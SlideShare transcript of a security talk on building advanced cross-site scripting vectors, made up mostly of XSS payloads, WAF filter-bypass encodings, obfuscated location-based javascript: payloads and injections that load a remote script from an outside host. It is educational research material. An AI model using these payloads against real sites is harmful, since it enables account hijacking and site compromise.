SlideShare a Scribd company logo
Building Advanced
XSS Vectors
by @brutelogic
About
About - Agenda
● About
● Vector Scheme
● Vector Builder (webGun)
● Agnostic Event Handlers
● Reusing Native Code
● Filter Bypass
● Location Based Payloads
● Multi Reflection
About - Speaker
● Security researcher @sucurisecurity
● Former #1 @openbugbounty
● Some HoF & acknowledgements
● XSS expert
About - Presentation
● Not just another talk on XSS
● Use of alert(1) for didactic purposes
● Mainly about event based XSS
● Some stuff may be hard to follow
Vector Scheme
Vector Scheme
● Regular
<tag handler=code>
Example:
<svg onload=alert(1)>
Vector Scheme
● Full
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
Example:
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bprompt
(1)%09><td>AAAAAAAAA
Vector Builder (webGun)
http://brutelogic.com.br/webgun
Vector Builder (webGun)
● Interactive cheat sheet
● Builder of XSS vectors/payloads
● More than 3k unique combinations
● Event or tag oriented
● Handlers by browser
● Handlers by length*
● Manual vector editing
● Test on target or default test page
* for filter bypass procedure.
Building Advanced XSS Vectors
Building Advanced XSS Vectors
Agnostic Event Handlers
Agnostic Event Handlers
● Used with almost any tag
● Ones that work with arbitrary tags
Example: <brute
● Most require UI
● Work on all major browsers
Agnostic Event Handlers - List
● onblur
● onclick
● oncopy
● oncontextmenu
● oncut
● ondblclick
● ondrag
● onfocus
● oninput
● onkeydown
● onkeypress
● onkeyup
● onmousedown
● onmousemove
● onmouseout
● onmouseover
● onmouseup
● onpaste
Agnostic Event Handlers
● Example:
<brute onclick=alert(1)>clickme!
Reusing Native Code
Reusing Native Code
● Example 1
...<input type="hidden" value="INPUT"></form><script type="text/javascript">
function x(){ do something }</script>
● INPUT
"><script>alert(1)//
or
"><script>alert(1)<!--
Reusing Native Code
● Injection
...<input type="hidden" value=""><script>alert(1)//"></form><script type="
text/javascript"> function x(){ do something }</script>
● Result
...<input type="hidden" value=""><script>alert(1)//"></form><script type="
text/javascript"> function x(){ do something }</script>
Reusing Native Code
● Example 2
…
<input type="hidden" value="INPUT"
>
</form>
<script type="text/javascript">
function x() {
do something
}
</script>
● INPUT
"><script src="//brutelogic.com.br/1
or
"><script src="//3334957647/1
Reusing Native Code
● Injection
…
<input type="hidden" value=""
><script src="//brutelogic.com.br/1"
>
</form>
<script type="text/javascript">
function x() {
do something
}
</script>
● Result
…
<input type="hidden" value=""
><script src="//brutelogic.com.br/1"
>
</form>
<script type="text/javascript">
function x() {
do something
}
</script>
Filter Bypass
Filter Bypass - Procedure
● Arbitrary tag + fake handler
● Start with 5 chars, increase
● Example
<x onxxx=1 (5) pass
<x onxxxx=1 (6) pass
<x onxxxxx=1 (7) block
Up to 6 chars:
oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow
Filter Bypass - Tricks
● Encoding
%3Cx onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
● Mixed Case
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1
● Doubling
<x onxxx=1 onxxx=1
Filter Bypass - Tricks
● Spacers
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
● Combo
<x%2F1=">%22OnXxx%3D1
● Quotes
<x 1='1'onxxx=1
<x 1="1"onxxx=1
● Mimetism
<x </onxxx=1 (closing tag)
<x 1=">" onxxx=1 (text outside tag)
<http://onxxx%3D1/ (URL)
Location Based Payloads
Location Based Payloads
● Really complex payloads can be built
● document.location properties and similar
● Avoiding special chars (at least between = and >)
● Game over to filter
Location Based Payloads - Document Properties
● location.protocol
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● location.hostname, document.domain
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● location.origin
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● location.pathname
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● location.search
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● previousSibling.nodeValue, document.body.textContent* ("Before")
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
* (may need to close the injected tag)
Location Based Payloads - Document Properties
● tagName, nodeName ("Itself")
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● outerHTML ("Itself")
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● innerHTML* ("After")
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
* (may need to close the injected tag)
Location Based Payloads - Document Properties
● textContent, nextSibling.nodeValue*, firstChild.nodeValue, lastChild.
nodeValue ("After")
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
* (may need to close the injected tag)
Location Based Payloads - Document Properties
● Location.hash ("Hash")
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Document Properties
● URL, location.href, baseURI, documentURI
protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
Location Based Payloads - Evolution 1
<svg onload=location='javascript:alert(1)'>
<svg onload=location=location.hash.substr(1)>#javascript:alert(1)
<svg onload=location='javas'+'cript:'+'ale'+'rt'+location.hash.substr(1)>#(1)
<svg onload=location=/javas/.source+cript:/.source+/ale/.source+/rt/.
source+location.hash.substr(1)>#(1)
<svg onload=location=/javas/.source+/cript:/.source+/ale/.source+/rt/.
source+location.hash[1]+1+location.hash[2]>#()
Location Based Payloads - Evolution 2
<javascript onclick=alert(tagName)>click me!
<javascript:alert(1) onclick=location=tagName>click me! <== doesn't work! So...
<javascript onclick=location=tagName+location.hash(1)>click me!#:alert(1)
<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)
javascript + :"click me! + #"-alert(1)
javascrip + t:"click me! + #"-alert(1)
javas + cript:"click me! + #"-alert(1)
Location Based Payloads - Taxonomy
● By Type
1. Location
2. Location Self
3. Location Self Plus
● By Positioning (Properties)
Before < Itself > After # Hash
Inside
Location Based Payloads - Location
● Location After (innerHTML)
<j onclick=location=innerHTML>javascript&colon;alert(1)//
● Location Inside (name+id)
<svg id=t:alert(1) name=javascrip onload=location=name+id>
Location Based Payloads - Location
● Location Itself + After + Hash (tagName+innerHTML+location.hash)
<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
#*/alert(1)
<javascript onclick=location=tagName+innerHTML+location.hash>:'click me!#'-
alert(1)
<javascript onclick=location=tagName+innerHTML+URL>:"-'click me!
</javascript>#'-alert(1)
Result: javascript + :"-'click me! + http://..."-'click me</javascript>#'-alert(1)
Location Based Payloads - Location
● Location Itself + Hash (tagName+URL)
<javascript:"-' onclick=location=tagName+URL>click me!#'-alert(1)
(“Labeled Jump”)
<javascript: onclick=location=tagName+URL>click me!#%0Aalert(1)
Result:
javascript: + http://...<javascript: onclick=location=tagName+URL>click me!#%
0Aalert(1)
Location Based Payloads - Location
● Location After + Hash (innerHTML+URL)
<j onclick=location=innerHTML+URL>javascript:"-'click me!</j>#'-alert(1)
<j onclick=location=innerHTML+URL>javascript:</j>#%0Aalert(1)
Location Based Payloads - Location
● Location Itself + After + Hash (tagName+innerHTML+URL)
<javas onclick=location=tagName+innerHTML+URL>cript:"-'click me!</javas>#'-
alert(1)
<javas onclick=location=tagName+innerHTML+URL>cript:</javas>#%0Aalert(1)
Location Based Payloads - Location
● Location Itself + Before (tagName+previousSibling)
"-alert(9)<javascript:" onclick=location=tagName+previousSibling.
nodeValue>click me!
● Location Itself + After + Before (tagName+innerHTML+previousSibling)
'-alert(9)<javas onclick=location=tagName+innerHTML+previousSibling.
nodeValue>cript:'click me!
Location Based Payloads - Location
● Location After + Itself (innerHTML+outerHTML)
<alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:1/*click me!
*/</alert(1)<!-- -->
javascript:1/*click me!*/ + <alert(1)<!-- … </alert(1)<!-- -->
<j 1="*/""-alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:
/*click me!
javascript:/*click me! + <j 1="*/""-alert(1)<!-- …
Location Based Payloads - Location
● Location After + Before + Itself (innerHTML+previousSibling+outerHTML)
*/"<j"-alert(9)<!-- onclick=location=innerHTML+previousSibling.
nodeValue+outerHTML>javascript:/*click me!
javascript:/*click me! + */" + <j"-alert(9)<!-- ...
*/"<j 1=-alert(9)// onclick=location=innerHTML+previousSibling.
nodeValue+outerHTML>javascript:/*click me!
javascript:/*click me! + */" + <j 1="-alert(9)//" ...
Location Based Payloads - Location Self
● Location Self Inside
p=<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>
http://...?p=<svg/onload=alert(1)+
p=<svg id=?p=<script/src=//brutelogic.com.br/1%2B onload=location=id>
http://...?p=<script/src=//brutelogic.com.br/1+
Location Based Payloads - Location Self
● Location Self After
p=<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
http://...?p=<svg/onload=alert(1)>
Location Based Payloads - Location Self Plus
● Location Self Plus Itself
p=<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
http://...?p=%3Cj%26p=%3Csvg%2Bonload=alert(1)%20onclick=location%
2B=outerHTML%3Eclick%20me!<j&p=<svg+onload=alert(1) onclick="
location+=outerHTML">
Location Based Payloads - Location Self Plus
● Location Self Plus After
p=<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
http://...?p=%3Cj%20onclick=location%2B=textContent%3E%26p=%26lt;
svg/onload=alert(1)%3E&p=<svg/onload=alert(1)>
Location Based Payloads - Location Self Plus
● Location Self Plus Before
p=%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.
textContent>click me!
http://...?p=%26p=%26lt;svg/onload=alert(1)%3E%3Cj%20onclick=location%
2B=document.body.textContent%3Eclick%20me![BODY_CONTENT]
&p=<svg/onload=alert(1)>click me!
Multi Reflection
Multi Reflection - Single Input
● Double Reflection - Single Input
p='onload=alert(1)><svg/1='
'onload=alert(1)><svg/1='
… [code] …
'onload=alert(1)><svg/1='
● Double Reflection - Single Input (script)
p=’>alert(1)</script><script/1=’
p=*/alert(1)</script><script>/*
*/alert(1)</script><script>/*
… [code] …
*/alert(1)</script><script>/*
Multi Reflection - Single Input
● Triple Reflection - Single Input
p=*/alert(1)">'onload="/*<svg/1='
p=`-alert(1)">'onload="`<svg/1='
`-alert(1)">'onload="`<svg/1='
… [code] …
`-alert(1)">'onload="`<svg/1='
… [code] …
`-alert(1)">'onload="`<svg/1='
● Triple Reflection - Single Input (script)
p=*/</script>'>alert(1)/*<script/1='
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
Multi Reflection - Multi Input
● 2 inputs:
p=<svg/1='&q='onload=alert(1)>
● 3 inputs:
p=<svg 1='&q=onload='/*&r=*/alert(1)'>
Conclusion
● XSS vectors can:
- be complex;
- easily evade filters;
- blow your mind.
Thanks!
@brutelogic

More Related Content

What's hot (20)

PDF
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
Marco Balduzzi
 
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
PDF
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
 
PDF
HTTP Request Smuggling via higher HTTP versions
neexemil
 
PDF
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Mikhail Egorov
 
PPTX
A Forgotten HTTP Invisibility Cloak
Soroush Dalili
 
PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
PDF
XSS Magic tricks
GarethHeyes
 
PPT
Cross Site Request Forgery
Tony Bibbs
 
PDF
Cross site scripting
n|u - The Open Security Community
 
PDF
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
PPTX
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE
 
PDF
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Mikhail Egorov
 
PDF
Securing AEM webapps by hacking them
Mikhail Egorov
 
PPTX
Bug Bounty 101
Shahee Mirza
 
PPTX
Ssrf
Ilan Mindel
 
PDF
Hunting for security bugs in AEM webapps
Mikhail Egorov
 
PDF
SSRF workshop
Ivan Novikov
 
PPTX
Waf bypassing Techniques
Avinash Thapa
 
PPTX
Xss attack
Manjushree Mashal
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
Marco Balduzzi
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
 
HTTP Request Smuggling via higher HTTP versions
neexemil
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Mikhail Egorov
 
A Forgotten HTTP Invisibility Cloak
Soroush Dalili
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
XSS Magic tricks
GarethHeyes
 
Cross Site Request Forgery
Tony Bibbs
 
Cross site scripting
n|u - The Open Security Community
 
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Mikhail Egorov
 
Securing AEM webapps by hacking them
Mikhail Egorov
 
Bug Bounty 101
Shahee Mirza
 
Hunting for security bugs in AEM webapps
Mikhail Egorov
 
SSRF workshop
Ivan Novikov
 
Waf bypassing Techniques
Avinash Thapa
 
Xss attack
Manjushree Mashal
 

Viewers also liked (20)

PDF
The Hidden XSS - Attacking the Desktop & Mobile Platforms
kosborn
 
PDF
주로사용되는 Xss필터와 이를 공격하는 방법
guestad13b55
 
PDF
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva
 
PDF
libinjection: from SQLi to XSS  by Nick Galbreath
CODE BLUE
 
PPT
How To Detect Xss
Ferruh Mavituna
 
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
PDF
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Mario Heiderich
 
PPT
XSS and CSRF with HTML5
Shreeraj Shah
 
PPTX
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
PPTX
JavaScript Static Security Analysis made easy with JSPrime
Nishant Das Patnaik
 
PDF
Sucuri Webinar: How to Clean a Hacked Magento Website
Sucuri
 
PPT
Xss is more than a simple threat
Avădănei Andrei
 
PPTX
Pengenalan HTML5, Mobile Application, dan Intel XDK
Muhammad Yusuf
 
PDF
Sucuri Webinar: Defending Your Google Brand Reputation and Analytics Reports
Sucuri
 
PDF
Owasp AppSecEU 2015 - BeEF Session
Bart Leppens
 
PPT
{{more}} Kibana4
琛琳 饶
 
PDF
How to-catch-a-chameleon-steven seeley-ruxcon-2012
_mr_me
 
PDF
Final lfh presentation (3)
__x86
 
PDF
Apache安装配置mod security
Huang Toby
 
PDF
D2 t2 steven seeley - ghost in the windows 7 allocator
_mr_me
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
kosborn
 
주로사용되는 Xss필터와 이를 공격하는 방법
guestad13b55
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva
 
libinjection: from SQLi to XSS  by Nick Galbreath
CODE BLUE
 
How To Detect Xss
Ferruh Mavituna
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Mario Heiderich
 
XSS and CSRF with HTML5
Shreeraj Shah
 
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
JavaScript Static Security Analysis made easy with JSPrime
Nishant Das Patnaik
 
Sucuri Webinar: How to Clean a Hacked Magento Website
Sucuri
 
Xss is more than a simple threat
Avădănei Andrei
 
Pengenalan HTML5, Mobile Application, dan Intel XDK
Muhammad Yusuf
 
Sucuri Webinar: Defending Your Google Brand Reputation and Analytics Reports
Sucuri
 
Owasp AppSecEU 2015 - BeEF Session
Bart Leppens
 
{{more}} Kibana4
琛琳 饶
 
How to-catch-a-chameleon-steven seeley-ruxcon-2012
_mr_me
 
Final lfh presentation (3)
__x86
 
Apache安装配置mod security
Huang Toby
 
D2 t2 steven seeley - ghost in the windows 7 allocator
_mr_me
 
Ad

Similar to Building Advanced XSS Vectors (20)

PDF
Performance patterns
Stoyan Stefanov
 
PPTX
UNIT 1 (7).pptx
DrDhivyaaCRAssistant
 
PPTX
the next web now
zulin Gu
 
PDF
Modern frontend development with VueJs
Tudor Barbu
 
PPTX
Andriy Shalaenko - GO security tips
OWASP Kyiv
 
ODP
Hands-On XML Attacks
Toe Khaing
 
KEY
前端概述
Ethan Zhang
 
KEY
#NewMeetup Performance
Justin Cataldo
 
TXT
Private slideshow
sblackman
 
PPT
Attacks against Microsoft network web clients
Positive Hack Days
 
PDF
Intro to JavaScript
Jussi Pohjolainen
 
PPTX
Jquery Basics
Umeshwaran V
 
PPTX
Jquery fundamentals
Salvatore Fazio
 
PPT
Java script
Soham Sengupta
 
PPTX
Building High Performance Web Applications and Sites
goodfriday
 
PPTX
BITM3730 10-3.pptx
MattMarino13
 
PDF
Logstash for SEO: come monitorare i Log del Web Server in realtime
Andrea Cardinale
 
PDF
Dart Workshop
Dmitry Buzdin
 
PDF
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack
 
PPTX
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
Performance patterns
Stoyan Stefanov
 
UNIT 1 (7).pptx
DrDhivyaaCRAssistant
 
the next web now
zulin Gu
 
Modern frontend development with VueJs
Tudor Barbu
 
Andriy Shalaenko - GO security tips
OWASP Kyiv
 
Hands-On XML Attacks
Toe Khaing
 
前端概述
Ethan Zhang
 
#NewMeetup Performance
Justin Cataldo
 
Private slideshow
sblackman
 
Attacks against Microsoft network web clients
Positive Hack Days
 
Intro to JavaScript
Jussi Pohjolainen
 
Jquery Basics
Umeshwaran V
 
Jquery fundamentals
Salvatore Fazio
 
Java script
Soham Sengupta
 
Building High Performance Web Applications and Sites
goodfriday
 
BITM3730 10-3.pptx
MattMarino13
 
Logstash for SEO: come monitorare i Log del Web Server in realtime
Andrea Cardinale
 
Dart Workshop
Dmitry Buzdin
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack
 
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
Ad

Recently uploaded (20)

PDF
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PDF
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
PPTX
Simple and concise overview about Quantum computing..pptx
mughal641
 
PDF
TrustArc Webinar - Navigating Data Privacy in LATAM: Laws, Trends, and Compli...
TrustArc
 
PDF
Lecture A - AI Workflows for Banking.pdf
Dr. LAM Yat-fai (林日辉)
 
PDF
The Past, Present & Future of Kenya's Digital Transformation
Moses Kemibaro
 
PDF
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PPTX
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
PDF
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
PDF
introduction to computer hardware and sofeware
chauhanshraddha2007
 
PDF
Build with AI and GDG Cloud Bydgoszcz- ADK .pdf
jaroslawgajewski1
 
PDF
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
PDF
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
PPTX
Agentic AI in Healthcare Driving the Next Wave of Digital Transformation
danielle hunter
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PPTX
Introduction to Flutter by Ayush Desai.pptx
ayushdesai204
 
PDF
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
PPTX
Agile Chennai 18-19 July 2025 | Workshop - Enhancing Agile Collaboration with...
AgileNetwork
 
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
Simple and concise overview about Quantum computing..pptx
mughal641
 
TrustArc Webinar - Navigating Data Privacy in LATAM: Laws, Trends, and Compli...
TrustArc
 
Lecture A - AI Workflows for Banking.pdf
Dr. LAM Yat-fai (林日辉)
 
The Past, Present & Future of Kenya's Digital Transformation
Moses Kemibaro
 
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
introduction to computer hardware and sofeware
chauhanshraddha2007
 
Build with AI and GDG Cloud Bydgoszcz- ADK .pdf
jaroslawgajewski1
 
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
Agentic AI in Healthcare Driving the Next Wave of Digital Transformation
danielle hunter
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
Introduction to Flutter by Ayush Desai.pptx
ayushdesai204
 
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
Agile Chennai 18-19 July 2025 | Workshop - Enhancing Agile Collaboration with...
AgileNetwork
 

Building Advanced XSS Vectors

  • 3. About - Agenda ● About ● Vector Scheme ● Vector Builder (webGun) ● Agnostic Event Handlers ● Reusing Native Code ● Filter Bypass ● Location Based Payloads ● Multi Reflection
  • 4. About - Speaker ● Security researcher @sucurisecurity ● Former #1 @openbugbounty ● Some HoF & acknowledgements ● XSS expert
  • 5. About - Presentation ● Not just another talk on XSS ● Use of alert(1) for didactic purposes ● Mainly about event based XSS ● Some stuff may be hard to follow
  • 7. Vector Scheme ● Regular <tag handler=code> Example: <svg onload=alert(1)>
  • 8. Vector Scheme ● Full extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3 Example: <table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bprompt (1)%09><td>AAAAAAAAA
  • 10. Vector Builder (webGun) ● Interactive cheat sheet ● Builder of XSS vectors/payloads ● More than 3k unique combinations ● Event or tag oriented ● Handlers by browser ● Handlers by length* ● Manual vector editing ● Test on target or default test page * for filter bypass procedure.
  • 14. Agnostic Event Handlers ● Used with almost any tag ● Ones that work with arbitrary tags Example: <brute ● Most require UI ● Work on all major browsers
  • 15. Agnostic Event Handlers - List ● onblur ● onclick ● oncopy ● oncontextmenu ● oncut ● ondblclick ● ondrag ● onfocus ● oninput ● onkeydown ● onkeypress ● onkeyup ● onmousedown ● onmousemove ● onmouseout ● onmouseover ● onmouseup ● onpaste
  • 16. Agnostic Event Handlers ● Example: <brute onclick=alert(1)>clickme!
  • 18. Reusing Native Code ● Example 1 ...<input type="hidden" value="INPUT"></form><script type="text/javascript"> function x(){ do something }</script> ● INPUT "><script>alert(1)// or "><script>alert(1)<!--
  • 19. Reusing Native Code ● Injection ...<input type="hidden" value=""><script>alert(1)//"></form><script type=" text/javascript"> function x(){ do something }</script> ● Result ...<input type="hidden" value=""><script>alert(1)//"></form><script type=" text/javascript"> function x(){ do something }</script>
  • 20. Reusing Native Code ● Example 2 … <input type="hidden" value="INPUT" > </form> <script type="text/javascript"> function x() { do something } </script> ● INPUT "><script src="//brutelogic.com.br/1 or "><script src="//3334957647/1
  • 21. Reusing Native Code ● Injection … <input type="hidden" value="" ><script src="//brutelogic.com.br/1" > </form> <script type="text/javascript"> function x() { do something } </script> ● Result … <input type="hidden" value="" ><script src="//brutelogic.com.br/1" > </form> <script type="text/javascript"> function x() { do something } </script>
  • 23. Filter Bypass - Procedure ● Arbitrary tag + fake handler ● Start with 5 chars, increase ● Example <x onxxx=1 (5) pass <x onxxxx=1 (6) pass <x onxxxxx=1 (7) block Up to 6 chars: oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow
  • 24. Filter Bypass - Tricks ● Encoding %3Cx onxxx=1 <%78 onxxx=1 <x %6Fnxxx=1 <x o%6Exxx=1 <x on%78xx=1 <x onxxx%3D1 ● Mixed Case <X onxxx=1 <x ONxxx=1 <x OnXxx=1 <X OnXxx=1 ● Doubling <x onxxx=1 onxxx=1
  • 25. Filter Bypass - Tricks ● Spacers <x/onxxx=1 <x%09onxxx=1 <x%0Aonxxx=1 <x%0Conxxx=1 <x%0Donxxx=1 <x%2Fonxxx=1 ● Combo <x%2F1=">%22OnXxx%3D1 ● Quotes <x 1='1'onxxx=1 <x 1="1"onxxx=1 ● Mimetism <x </onxxx=1 (closing tag) <x 1=">" onxxx=1 (text outside tag) <http://onxxx%3D1/ (URL)
  • 27. Location Based Payloads ● Really complex payloads can be built ● document.location properties and similar ● Avoiding special chars (at least between = and >) ● Game over to filter
  • 28. Location Based Payloads - Document Properties ● location.protocol protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 29. Location Based Payloads - Document Properties ● location.hostname, document.domain protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 30. Location Based Payloads - Document Properties ● location.origin protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 31. Location Based Payloads - Document Properties ● location.pathname protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 32. Location Based Payloads - Document Properties ● location.search protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 33. Location Based Payloads - Document Properties ● previousSibling.nodeValue, document.body.textContent* ("Before") protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3 * (may need to close the injected tag)
  • 34. Location Based Payloads - Document Properties ● tagName, nodeName ("Itself") protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 35. Location Based Payloads - Document Properties ● outerHTML ("Itself") protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 36. Location Based Payloads - Document Properties ● innerHTML* ("After") protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3 * (may need to close the injected tag)
  • 37. Location Based Payloads - Document Properties ● textContent, nextSibling.nodeValue*, firstChild.nodeValue, lastChild. nodeValue ("After") protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3 * (may need to close the injected tag)
  • 38. Location Based Payloads - Document Properties ● Location.hash ("Hash") protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 39. Location Based Payloads - Document Properties ● URL, location.href, baseURI, documentURI protocol: // domain / path/page ?p= text1 <tag handler=code> text2 # text3
  • 40. Location Based Payloads - Evolution 1 <svg onload=location='javascript:alert(1)'> <svg onload=location=location.hash.substr(1)>#javascript:alert(1) <svg onload=location='javas'+'cript:'+'ale'+'rt'+location.hash.substr(1)>#(1) <svg onload=location=/javas/.source+cript:/.source+/ale/.source+/rt/. source+location.hash.substr(1)>#(1) <svg onload=location=/javas/.source+/cript:/.source+/ale/.source+/rt/. source+location.hash[1]+1+location.hash[2]>#()
  • 41. Location Based Payloads - Evolution 2 <javascript onclick=alert(tagName)>click me! <javascript:alert(1) onclick=location=tagName>click me! <== doesn't work! So... <javascript onclick=location=tagName+location.hash(1)>click me!#:alert(1) <javascript onclick=location=tagName+innerHTML+location.hash>:/*click me! #*/alert(1) javascript + :"click me! + #"-alert(1) javascrip + t:"click me! + #"-alert(1) javas + cript:"click me! + #"-alert(1)
  • 42. Location Based Payloads - Taxonomy ● By Type 1. Location 2. Location Self 3. Location Self Plus ● By Positioning (Properties) Before < Itself > After # Hash Inside
  • 43. Location Based Payloads - Location ● Location After (innerHTML) <j onclick=location=innerHTML>javascript&colon;alert(1)// ● Location Inside (name+id) <svg id=t:alert(1) name=javascrip onload=location=name+id>
  • 44. Location Based Payloads - Location ● Location Itself + After + Hash (tagName+innerHTML+location.hash) <javascript onclick=location=tagName+innerHTML+location.hash>:/*click me! #*/alert(1) <javascript onclick=location=tagName+innerHTML+location.hash>:'click me!#'- alert(1) <javascript onclick=location=tagName+innerHTML+URL>:"-'click me! </javascript>#'-alert(1) Result: javascript + :"-'click me! + http://..."-'click me</javascript>#'-alert(1)
  • 45. Location Based Payloads - Location ● Location Itself + Hash (tagName+URL) <javascript:"-' onclick=location=tagName+URL>click me!#'-alert(1) (“Labeled Jump”) <javascript: onclick=location=tagName+URL>click me!#%0Aalert(1) Result: javascript: + http://...<javascript: onclick=location=tagName+URL>click me!#% 0Aalert(1)
  • 46. Location Based Payloads - Location ● Location After + Hash (innerHTML+URL) <j onclick=location=innerHTML+URL>javascript:"-'click me!</j>#'-alert(1) <j onclick=location=innerHTML+URL>javascript:</j>#%0Aalert(1)
  • 47. Location Based Payloads - Location ● Location Itself + After + Hash (tagName+innerHTML+URL) <javas onclick=location=tagName+innerHTML+URL>cript:"-'click me!</javas>#'- alert(1) <javas onclick=location=tagName+innerHTML+URL>cript:</javas>#%0Aalert(1)
